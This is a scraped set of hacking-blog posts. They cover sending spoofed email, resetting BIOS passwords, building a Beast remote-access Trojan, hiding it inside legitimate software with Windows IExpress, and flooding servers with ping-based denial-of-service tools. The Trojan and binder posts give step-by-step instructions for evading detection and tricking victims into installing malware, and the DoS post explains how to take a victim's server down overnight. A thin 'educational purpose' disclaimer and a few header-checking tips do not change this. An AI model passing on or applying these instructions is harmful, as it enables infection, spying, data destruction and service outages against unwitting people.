</a></div><div style="text-align: justify;">you just have to fill up this particular form, Enter Captcha and click on Send!! and fake mail sent.</div><div style="text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-vrmPhJdbhvQsUOPfd8Efc8jyRSL9xS-n0aqsBNoDlM78IqVrRvtE8hy_td6JLhzo4GIH5SwJLYwIqYqHzHXoyYyT0I4Z0FeiHLbEkx8tb-dHJ4zGwiXEjaODqo18wKtGTFihPyr1BXI/s1600/emkei2.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-vrmPhJdbhvQsUOPfd8Efc8jyRSL9xS-n0aqsBNoDlM78IqVrRvtE8hy_td6JLhzo4GIH5SwJLYwIqYqHzHXoyYyT0I4Z0FeiHLbEkx8tb-dHJ4zGwiXEjaODqo18wKtGTFihPyr1BXI/s640/emkei2.JPG" width="560" /> </a></div><div style="text-align: justify;">This the trick Mostly Used to annoy People regarding Fake Mails, the dangerous part is that most of the fake emails are designed to be in such a format that they appear to be almost real. And can even be used to withdraw your personal information.This personal information are used sold at pennies to other users. </div><div style="text-align: justify;">Now how do we PROTECT our selves from Fake Emails.This is a general yet a very useful method that everyone should use in case you find any mail as suspicious,</div><div style="text-align: justify;"> ALWAYS CHECK THE COMPLETE PATH OF THE MAIL RECEIVED.</div><div style="text-align: justify;"> For,</div><div style="text-align: justify;">1. GMAIL, when you open the mail there is a tag below the email name, Show Details on it's right is a DROP DOWN Button Click on it and Select "SHOW ORIGINALS" </div><div style="text-align: justify;">2. YAHOO, Open the Mail there is DROP DOWN which says "more options for selected mail" in that click on show full header. and thus you will know where the fake mail come from.</div><div style="text-align: justify;"><br />
</div></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-7091111105483093362012-03-11T05:12:00.000-07:002014-01-08T05:14:04.856-08:00Have you Lost your BIOS Password ? | By Neoteric<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">Have you ever accidentally set a BIOS password the one which appears even before your Windows Boots to memory, even Before Your Hardware company name appears on the screen?</div><div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYWPXAs1TeMffj2q3NeD5fz1J7KsAPh38_06fZ2bS_MlGF6rATJ0Q9Fm-cCE66OscRxURg-eZKLehAG04R68prnFKChbYU0VyUC54nqTQaJJ093yq8stM0_WhLli3OD_ZODEOIcJyHPEM/s1600/boot.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYWPXAs1TeMffj2q3NeD5fz1J7KsAPh38_06fZ2bS_MlGF6rATJ0Q9Fm-cCE66OscRxURg-eZKLehAG04R68prnFKChbYU0VyUC54nqTQaJJ093yq8stM0_WhLli3OD_ZODEOIcJyHPEM/s1600/boot.JPG" /></a></div><a name='more'></a><br />
</div><div style="text-align: justify;">For <u><b>LAPTOPS, NOTEBOOKS</b></u>: To Reset or Remove the Password from the BIOS Memory you need to HARD BOOT your system, for that you require to remove your battery from the Laptop or Notebook for at most 30 min and reinsert it again and you will see that after you insert the battery the system does not ask for any password on the Boot Screen</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"> For <u><b>COMPUTER</b></u>: You have to open up your cabinet and there you will see a small round cell inserted in the center of your motherboard, pull the CMOS cell out, for around 30 min and reinsert it and start the computer and guess no BIOS password demands. </div><div style="text-align: justify;"></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><br />
</div></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-32643851718836695242012-03-10T23:08:00.000-08:002014-01-08T05:13:55.791-08:00How to Make Software a Virus | By Neoteric<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><div dir="ltr" style="text-align: left;" trbidi="on">Well in continuation to my previous post how to make a <b>TROJAN Virus,</b> Now we will see how do Hackers <b>Bind Virus to a FREE software</b> available to you on the internet or a software from your friends.<br />
<br />
IF you have not Read How to make a Trojan please <b><a href="http://hackwithpiyush.blogspot.in/2012/03/how-to-make-your-own-trojan.html" target="_blank">click here</a>.</b><br />
<br />
Now everyone knows as you also have experienced that a small file as small as 10kb,40kb,60kb,160kb..etc is mostly a virus. Now Hackers know that most of the people DO NOT click on such small files now how to make a bigger more useful file into a virus, for that we have <b>BINDERS</b>. Now <u>Today what I will do is not with a download tool but from a TOOL which is already present IN WINDOWS. </u><br />
<a name='more'></a><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx6fv6SPBUXcjmoBBCCmlbp1DBFFMhPkUNS0weLeLRjzaMbklG7MEEkVABImg9wAEdvgeRvBQugvNGZlncnouvmph9GVZajEIyGYQ02crxp_XL5IWewmMsk9Bc_nYCs95gc2sm6w0QCkA/s1600/binder.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><br />
In the Previous Post you made a virus file named as <b>SERVER.EXE</b> now you need to Select a software with which you need to bind the virus, Say I choose a useful software say a music player.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx6fv6SPBUXcjmoBBCCmlbp1DBFFMhPkUNS0weLeLRjzaMbklG7MEEkVABImg9wAEdvgeRvBQugvNGZlncnouvmph9GVZajEIyGYQ02crxp_XL5IWewmMsk9Bc_nYCs95gc2sm6w0QCkA/s1600/binder.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="227" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx6fv6SPBUXcjmoBBCCmlbp1DBFFMhPkUNS0weLeLRjzaMbklG7MEEkVABImg9wAEdvgeRvBQugvNGZlncnouvmph9GVZajEIyGYQ02crxp_XL5IWewmMsk9Bc_nYCs95gc2sm6w0QCkA/s400/binder.jpg" width="400" /></a></div>Now let us start with binding file using a Windows Tool <span style="font-size: large;"><b>IEXPRESS.</b></span><br />
1. Create TROJAN VIRUS (<b><a href="http://hackwithpiyush.blogspot.in/2012/03/how-to-make-your-own-trojan.html" target="_blank">please refer here</a></b>) and Select a file with which you want to bind a virus and keep both of them in a folder.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0wIQG0o0kE0qL-Pm2hWcoV4k3qZPwvP7hr24SmYR5CFDlm4O2klIe9m0Bco0YZqrdIhlbUirXVDObbrIycZjXhzap82hmvx1WHOlWe2Ibk7PjvUPaEIZnD6PASpWP7ySJqee5zq0JI60/s1600/files+to+be+binded.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0wIQG0o0kE0qL-Pm2hWcoV4k3qZPwvP7hr24SmYR5CFDlm4O2klIe9m0Bco0YZqrdIhlbUirXVDObbrIycZjXhzap82hmvx1WHOlWe2Ibk7PjvUPaEIZnD6PASpWP7ySJqee5zq0JI60/s1600/files+to+be+binded.JPG" /></a></div><br />
2. Now if you are using windows 7 Goto-->Start-->click on the search bar (bottom)--> Write <b>IEEXPRESS</b>, and if you are using windows XP then Goto-->the Drive where windows is Installed for eg: C Drive-->goto Windows Folder or WinXP(in some cases)-->System32-->Double Click on IEXPRESS.EXE and this window will appear.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxtC_Foji1S_wtZCm6O33z4Zcji1gZ97Y9ipli4mNTIxSbORFZyydhADeNCDRphr4ILd7kh3PzUnXJatr0T8-AKI_YRA3ATUm1Bd41-4O8rXQz2HaAybnm0RTsrsvHuZwKj8jyIrn7OB8/s1600/iexpress.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxtC_Foji1S_wtZCm6O33z4Zcji1gZ97Y9ipli4mNTIxSbORFZyydhADeNCDRphr4ILd7kh3PzUnXJatr0T8-AKI_YRA3ATUm1Bd41-4O8rXQz2HaAybnm0RTsrsvHuZwKj8jyIrn7OB8/s1600/iexpress.JPG" /></a></div><br />
3. Now click on Next and this will appear,<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1XYppy8cQkWK-qD3dvA_n6wMlhPbgv_FQdcGcdPXTFXY4Rm6E0DgKpQHUY2oGsBc_7FMVZYPRJNopqyz4mIgCtOZdq47icnK4n4uRSLw5lQ7T0N3UqlkQqIL4XccSpNF4VGssPrLTlU0/s1600/ie2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1XYppy8cQkWK-qD3dvA_n6wMlhPbgv_FQdcGcdPXTFXY4Rm6E0DgKpQHUY2oGsBc_7FMVZYPRJNopqyz4mIgCtOZdq47icnK4n4uRSLw5lQ7T0N3UqlkQqIL4XccSpNF4VGssPrLTlU0/s1600/ie2.JPG" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPfBWWwj7vmK6CMvnrsYUgs4ivCW1shyphenhyphenZRmfb0ybEprBRfeN9Ho_vgjcAK7vgSEGu1xPF0XAYPdLyW2yDy4vV912Y_RNadhdNM7fuCN48mirDNy0V5lQOGN7yNba50JhqGh7qO2Kye_PU/s1600/ie2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br />
</a></div>Now click on the option selected above.<br />
<div class="separator" style="clear: both; text-align: center;"></div>4. Now this screen will ask for the <i>name of the software</i> that will appear in front of the downloading victim, give any name and click on continue,<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoVi0iWMh1VRVun3opaL5U1-IQ5PYRv7dFCWCrjSm6C1tZsLbBKbUSFbzg_a1jAwMF3iXNQ3woZziopJq4qENLWDIEmDOJtZpMi0-k22O2N9N_cdHHGrpt9zURsLDreD4TWHiIiVlCsUo/s1600/ie3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoVi0iWMh1VRVun3opaL5U1-IQ5PYRv7dFCWCrjSm6C1tZsLbBKbUSFbzg_a1jAwMF3iXNQ3woZziopJq4qENLWDIEmDOJtZpMi0-k22O2N9N_cdHHGrpt9zURsLDreD4TWHiIiVlCsUo/s1600/ie3.JPG" /></a></div>5. Now the next screen is a <i>prompt screen</i> which will ask the user if the user want to continue on the installation, adding all these features increases reliability and user continues with the software as if it is genuine,<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTNBCQiTXVS9rSvfN3zN6BmK85vkYzr9nrgxNilPl2b7PnJiaFARNmi46yFfFWslzQgMqjIfuaczLGN9eK7tnKhr4b3tpM38yjl1Dfp14pMOFgl47aM4bFRuT_izvEYxLyiQoh0AZIwMk/s1600/ie4+prompt+screen.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTNBCQiTXVS9rSvfN3zN6BmK85vkYzr9nrgxNilPl2b7PnJiaFARNmi46yFfFWslzQgMqjIfuaczLGN9eK7tnKhr4b3tpM38yjl1Dfp14pMOFgl47aM4bFRuT_izvEYxLyiQoh0AZIwMk/s1600/ie4+prompt+screen.JPG" /></a></div>6. Now the Next screen is the <i>license display,</i> most of the hackers do not go for this because the infected software already has the license in it and providing license twice can sometimes be fishy, so do not add any thing just click on next,<br />
7. Now after clicking next on the License agreement screen the most important screen will appear, The<i><b> File Addition Screen</b></i> which will ask the user which all files to install,<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip4PwZ7FeDjvlKznat08X09B1q_8G5RFrZJmQ4nqQ5AO14_5aFOpY8Oji_qZSr4z274i_UuIjXdVbmibVWep540AvyRiehjAL0t42Uv9CVy5XBncEskq5fu_dhTjcECQKeqMMTQyheGE0/s1600/add+files.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip4PwZ7FeDjvlKznat08X09B1q_8G5RFrZJmQ4nqQ5AO14_5aFOpY8Oji_qZSr4z274i_UuIjXdVbmibVWep540AvyRiehjAL0t42Uv9CVy5XBncEskq5fu_dhTjcECQKeqMMTQyheGE0/s1600/add+files.JPG" /></a></div>8. After the selection of software is the priority window which will ask what to install first, now we want the software to install first because if the virus installs first the system will slow down and the victim will notice that the computer has slowed down. So first we want the software to instal and then the virus to instal<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDXFfwZmkS3q7f7ODkCWNGMhFZsCEcAQp5pscfZOl5NCy_kGdQ5wjdNQZM8XknwcdFzbArgUXHwF8ZP5GHcRFnMk6XW58gOVzlLi3iB2ZRLZG-SPyaksPqelmgi-foZJd-7BpHC13cmEA/s1600/prority.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDXFfwZmkS3q7f7ODkCWNGMhFZsCEcAQp5pscfZOl5NCy_kGdQ5wjdNQZM8XknwcdFzbArgUXHwF8ZP5GHcRFnMk6XW58gOVzlLi3iB2ZRLZG-SPyaksPqelmgi-foZJd-7BpHC13cmEA/s1600/prority.jpg" /></a></div> 9. Next window will have title "<i>SHOW WINDOW</i>" keep it on default,<br />
10. Next window is the "<i>FINISH MESSAGE</i>" window which will ask for the finish message it is always good to give a token of thanks to your customers ;) :P<br />
select --><i> DISPLAY MESSAGE</i>--> in the White Bar write "Thank you for Installing XyzDownloader".<br />
11. Next window will ask where to save the software if it is downloaded, Please leave it default,<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKgK2MtPekkq2IJL0CwdsNgL54lCDZlzAaZISSaDcGIAqQrSkuLvGWfgSSkFsUq4mEdMchg7IdqgjbCrOy4DRDuTzWXiia8FPIZ-Yq0aCSnAjEGhkcSK8i0OjEhxlerItIURtujJ5vXIQ/s1600/build.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="263" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKgK2MtPekkq2IJL0CwdsNgL54lCDZlzAaZISSaDcGIAqQrSkuLvGWfgSSkFsUq4mEdMchg7IdqgjbCrOy4DRDuTzWXiia8FPIZ-Yq0aCSnAjEGhkcSK8i0OjEhxlerItIURtujJ5vXIQ/s640/build.jpg" width="640" /></a></div><br />
12. Next Screen is "CONFIGURE RESTART" because it's a small software we will not ask for a System Reboot, Click on NO RESTART.<br />
13. SAVE INSTALLATION PACKAGE Screen, <br />
14. THE FINAL SCREEN IS CREATE PACKAGE screen, as soon as you click on CREATE, a command window like this will appear<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX0oc0dJwvfk72IGARI6LGYmfC-AbXRebDk3ux8DME2RsL1-aDTTsm1-NSYgnHMh2q6JeIktd3KysrtvcuxG4nEnYmhB-0jR2J-4WAAhzex_6iBz_e5kaM0V-9aT1oDB9e1ruGn7UVYCA/s1600/build+final.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="325" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX0oc0dJwvfk72IGARI6LGYmfC-AbXRebDk3ux8DME2RsL1-aDTTsm1-NSYgnHMh2q6JeIktd3KysrtvcuxG4nEnYmhB-0jR2J-4WAAhzex_6iBz_e5kaM0V-9aT1oDB9e1ruGn7UVYCA/s640/build+final.jpg" width="640" /></a></div>15. Finally in the Destination Folder You have your <i><b>INFECTED software</b></i>. </div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-6858011574421846812012-03-08T07:15:00.001-08:002014-01-08T05:14:17.504-08:00How to Make your own TROJAN VIRUS | By Neoteric<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">I guess everyone of you have once in your computer-life experienced a threat to your system called Virus. Now today we will see how a virus is made and which is the most highly and widely used by script kiddies. Before I start the recipe, we need to talk about few types of TROJAN VIRUS attacks; </div><div style="text-align: justify;">well for those who do not know about TROJAN virus (please click to know what Trojan virus is) <a href="http://www.tech-faq.com/trojan-virus.html" target="_blank">TROJAN VIRUS</a>. First let us talk about the types of Trojan Attacks:</div><ol style="text-align: justify;"><li>Password Capturing and Sending,</li>
<li>FTP (port:21) Trojan</li>
<li><a href="http://www.hackwithpiyush.blogspot.in/2012/03/dos-denial-of-service-attack.html" target="_blank">DOS</a> Trojan (misuse of one's bandwidth)</li>
<li>Remote Acces</li>
<li>Software killer</li>
</ol><div style="text-align: justify;">Above we talked how do Trojans affect you. now we have; where do Trojan/Viruses come from,</div><a name='more'></a><br />
<ol style="text-align: justify;"><li>Online Chat/Group Chat (Yahoo,Gmail,IRC)</li>
<li>Attached File in email</li>
<li>Physical Access to a System</li>
<li> Free Websites material/software</li>
<li>Wrappers</li>
<li>File Sharing</li>
</ol><div style="text-align: justify;">Softwares which create are (ones which still function):</div><ol style="text-align: justify;"><li><a href="http://en.wikipedia.org/wiki/NetBus" target="_blank">NetBus </a></li>
<li><a href="http://en.wikipedia.org/wiki/Beast_%28trojan_horse%29" target="_blank">Beast Final</a></li>
</ol><div style="text-align: justify;">The Software which I will Demonstrate in front of you is <u><b>BEAST TROJAN HORSE</b></u>, (ps: it is difficult to find these days but it's still very effective).</div><div style="text-align: justify;">This is how the Software looks when you open it,</div><div style="text-align: justify;"><br />
</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3KZmcsoQCOSdsP8Ia9MSqFrVi41VZ7go_PSZveUQZEvWFcwn7d-IPxK1aNVuxe6c0ipw3aFzARKs6PVd2dzLtyYpihuftb0dIxm6Ab8TtE-O7TKi-9ePII0ERI0LGGCqQpWcGbv8A15Y/s1600/beast+intro.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="267" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3KZmcsoQCOSdsP8Ia9MSqFrVi41VZ7go_PSZveUQZEvWFcwn7d-IPxK1aNVuxe6c0ipw3aFzARKs6PVd2dzLtyYpihuftb0dIxm6Ab8TtE-O7TKi-9ePII0ERI0LGGCqQpWcGbv8A15Y/s320/beast+intro.JPG" width="320" /></a></div>Because this software is very controversial, I would not be able to show all the images with respect to the Trojan Building Software.<br />
<br />
<ol style="text-align: left;"><li>Now what do hackers do is that they run this software (very small software), They first need the<a href="http://en.wikipedia.org/wiki/IP_address" target="_blank"> ip address </a>of the victim they need to attack. Lets say they got your ip xxx.xxx.xxx.xxx they will enter it into the blue box just below HOST. (The address given is the default address common to all offline computers)</li>
<li>Next is they require the port through which they need to attack, most of the script kiddies leave it default 6666 or 9999. But if hackers know what they are doing so they try to inject and communicate through the port they think will be vulnerable.</li>
<li>next they click on build server and the window below will open, Most of the script kiddies do not mess with much of the settings, </li>
</ol><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKkmgszQjwVwV2Knj6uufeLbYdniirzYCeZdZQ2Ldrvj3FrZp8ly42i9SQoY5BPscTU8wP5pv-soX4zh96beQdFeJoUgKu3XPfL6XYMpEGnmtrybNSLZn-Wxh6kgq-A4CInjbm_J4ACek/s1600/beast2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKkmgszQjwVwV2Knj6uufeLbYdniirzYCeZdZQ2Ldrvj3FrZp8ly42i9SQoY5BPscTU8wP5pv-soX4zh96beQdFeJoUgKu3XPfL6XYMpEGnmtrybNSLZn-Wxh6kgq-A4CInjbm_J4ACek/s320/beast2.JPG" width="320" /></a></div><div style="text-align: justify;"> if it is required to make the virus a little less detectable they change the name to something the user will not be able to recognize, such as the name given above.</div><div style="text-align: justify;"> 4. Now before completion to make virus further undetectable they need go to EXE icon and choose a different icon then application, to just click on BUILD SERVER, an waalaah their virus TROJAN is created.</div><div style="text-align: justify;"> 5. Now when they again look into the folder where beast is stored they find a file named as SERVER.EXE.(33kb to 66kb) this is the TROJAN virus.</div><div style="text-align: justify;"> 6. Now the only thing left is to plant this virus into the system of the victim by any of the other means above. and the Victim is hacked. </div><div style="text-align: justify;">When we go up and look at the first picture will will find a few options on the right hand side of the screen, using those options one can do following actions;</div><ol style="text-align: left;"><li>Access ALL DRIVES of the victim and use it for exploitation or criminal activity,</li>
<li>Use the person's WebCam</li>
<li>Can ADD, Plant or even DELETE user softwares and DATA</li>
<li>There are fun tricks also such as open CD drive, Lock Mouse, Lock Screen, Send Chat MEssages to the Victim</li>
<li>Prompt Error Messages to the Victim etc., and many more activities which will surely make the user go pale.</li>
</ol>This is a way the Hackers/Script kiddies create their own viruses and Trojans. So Beware and Be-safe.<br />
<span style="font-size: xx-small;">PS: All the information provided above is for educational purpose, please don't try this for any criminal activity because if caught can even go to jail </span>.<br />
<br />
<u><b>MANY of you might think that you are not stupid enough to click on a very small file as above, but guess if a picture or a software or a video or document imagine any file is INFECTED then what do you do...???</b></u><br />
<u><b>In the NEXT POST we will talk about how to make IMAGE, SOFTWARE, DOCUMENT, VIDEO, etc a INFECTED VIRUS. </b></u><br />
<br />
<div style="text-align: justify;"><br />
</div><div style="text-align: justify;"></div></div>Unknownnoreply@blogger.com9tag:blogger.com,1999:blog-4109247145476032480.post-50779569786884877692012-03-06T10:21:00.001-08:002014-01-08T05:14:26.281-08:00DOS -Denial of Service Attack, Distributed-DOS and Tools to make Attacks | By Neoteric<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><div dir="ltr" style="text-align: left;" trbidi="on"><div style="font-family: inherit; text-align: justify;"><span style="font-size: small;">Well Today we will talk about <b><i>Denial of Service Attack or DOS and Distributed Denial of Service Attack</i></b>. The Technical definition is that "denial-of-service" attack is characterized by an explicit attempt by attackers to prevent legitimate users of a service from using that service.</span> or D-DOS.</div><div style="font-family: inherit; text-align: justify;"><br />
</div><div style="font-family: inherit; text-align: justify;"><u><b>Simple Denial of Service Attack</b></u> :</div><a name='more'></a><br />
<div style="font-family: inherit; text-align: justify;">In easy words it is when a hacker targets a server or a computer or a router etc. it constantly sends a set of fake requests to connect to server every second, and the server when takes up the request is not able to figure out what to do with all the requests, following its protocol it picks and acknowledges to the sender that yes i am ready to take your request but the sender does not reply, instead the sender wastes the little time allotted by server to sender, and during whole of this scenario there is a genuine user on the internet who also wants to use the server but server instead is busy with the hackers/fake sender's requests.</div><div style="font-family: inherit; text-align: justify;"><br />
</div><div style="font-family: inherit; text-align: justify;">consider this situation a <b>sender produces </b><i>1000 fake requests/second</i>,</div><div style="font-family: inherit; text-align: justify;">the <b>capacity of</b> server to hold requests in <b>ready queue</b> is <i>3000 requests</i>,</div><div style="text-align: justify;">now time<b> taken per request</b> is <i>1 second</i>,</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><b>t= 1sec</b>, server recieves 1000 fake requests and 12 genuine requests so total of 1012 request</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><b>t=2sec</b>, server rejects request1, now server works on 2nd request, now ready queue has 1000 new fake requests, 23 genuine requests and 1011 previous requests. So a total of 2034 requests in queue</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><b>t=3sec</b> server rejects request2, now server works on 3rd request, now ready queue has 1000 more new fake requests, 21 new genuine requests and 2034 previous requests. So a total of 3055 requests are pending.</div><div style="text-align: justify;">.</div><div style="text-align: justify;">.</div><div style="text-align: justify;">.</div><div style="text-align: justify;">.</div><div style="text-align: justify;">.</div><div style="text-align: justify;"><b>t= few minutes</b> our victim server is down..... ATTACK Successful. </div><div style="text-align: justify;"> <u><b> </b></u></div><div style="text-align: justify;"><u><b>]Distributed Denial of Service Attack</b></u> :</div><div style="text-align: justify;">DDOS attack is a very planned attack it is same as the DOS attack but in this case the only difference is that instead of one person attacking there are multiple attackers and one victim server. the above attack is applicable on small websites but not on big servers, because today the severs are programmed to such a n advanced level that they ignore the attacking computer or sender using honeypots. But even this trick becomes useless when we have have 10s ans 100s and 1000s or even 100,000s of system attacking a server at the same moment, the server at this moment is a prey to the army of ants or the dos attackers .</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7nOz10dDWen3thPvG0xV7R4WX4_89VLZzPcc-NncbnJ4La28XDdAm-GMffXqFgEpUwjmP3PW95Ws60atpgkzqH8RSKoW_aVjwdIT-Ebz8-dzVSsdyoN78fdFpeASk2upnungnuF2dJpo/s1600/DDOS.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="327" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7nOz10dDWen3thPvG0xV7R4WX4_89VLZzPcc-NncbnJ4La28XDdAm-GMffXqFgEpUwjmP3PW95Ws60atpgkzqH8RSKoW_aVjwdIT-Ebz8-dzVSsdyoN78fdFpeASk2upnungnuF2dJpo/s400/DDOS.JPG" width="400" /></a></div><div style="text-align: justify;">The Tools the attackers use are:</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">1. Goto windows-->type cmd press enter-->write ping www.sitename.extension -t or xxx.xxx.xxx.xxx -t the IP address of server or website,</div><div style="text-align: justify;">most of you might recognize the above as the <b>ping tool or PING OF DEATH</b> which is used to check if a server is responding or our net is working or not, This is a tool which was created for intranet but is used as a n attacking tool on the internet.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTzoyBAvHzQM-a4Q0oub-74UMYBeBEcGe6X2NOEZ9dCOfr_iPNYsFl4iy4XmQ9JUlCpg1Ppo-JX6gItaxgIfys9UvDcohCS8RgPbp3i5znwTYizyyGFhHjuAxM2_4ZDw8gBqFVacsEwS8/s1600/ping+of+death.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTzoyBAvHzQM-a4Q0oub-74UMYBeBEcGe6X2NOEZ9dCOfr_iPNYsFl4iy4XmQ9JUlCpg1Ppo-JX6gItaxgIfys9UvDcohCS8RgPbp3i5znwTYizyyGFhHjuAxM2_4ZDw8gBqFVacsEwS8/s320/ping+of+death.JPG" width="320" /></a></div><div style="text-align: justify;">2.<b>Crazy Ping: </b>is a very interesting tool, have you ever tried opening multiple ping windows? well this tool does it automatically for you. You just require a Victim IP and you just need to select the count of number of ping windows you need to open and the size or bytes of data you want to load on the server. example: open crazy ping--> set windows to 30--> type the victim ip xxx.xxx.xxx.xxx ---> click on "Send the Bas**** to Hell". now goto sleep let it work for the whole night and in the morning you victim's server is DEAD.</div><div class="separator" style="clear: both; text-align: center;"><a 